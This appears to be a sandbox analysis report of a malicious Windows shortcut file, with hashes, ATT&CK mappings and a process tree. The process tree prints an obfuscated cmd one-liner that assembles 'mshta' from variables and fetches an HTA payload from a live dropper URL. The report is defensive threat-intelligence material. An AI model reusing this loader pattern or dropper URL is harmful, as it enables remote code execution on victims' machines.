2a92eb355f9e0d4910aba1ff7180aa1a477aa4b822b9ab038d90ed0f1cc7108e

Analysis

max time kernel
148s
max time network
131s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:25

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General

Target
DOC-QR2KD1.lnk
Size 1KB
Sample260804-kbjv8avfmc
SHA256 2a92eb355f9e0d4910aba1ff7180aa1a477aa4b822b9ab038d90ed0f1cc7108e
MD5 48845e3930f2a1fb96cb7bb8778132b9
SHA1 087743af5a8cf5b40152e81ac30a356c3ce44d50
SHA512 5ec28509a7ced2867db9922b1b4a84f55f5105c4a8eb3f48665c1f295889efbaca46a269e67a292f07d2bc3b9f14be043edf5ddaaa3f399279cc80b5707e477e
TLSH
T1DD3197402FED0624F3F38F7399BB5B2489BBB8568E20C62E0040464C5022A15E53AFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3280	cmd.exe
4136	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3280 wrote to memory of 4136	3280	cmd.exe	90
PID 4136 wrote to memory of 2112	4136	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QR2KD1.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3280
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set MAc=msh&&set nZKUJ=ta&&start "" !MAc!!nZKUJ! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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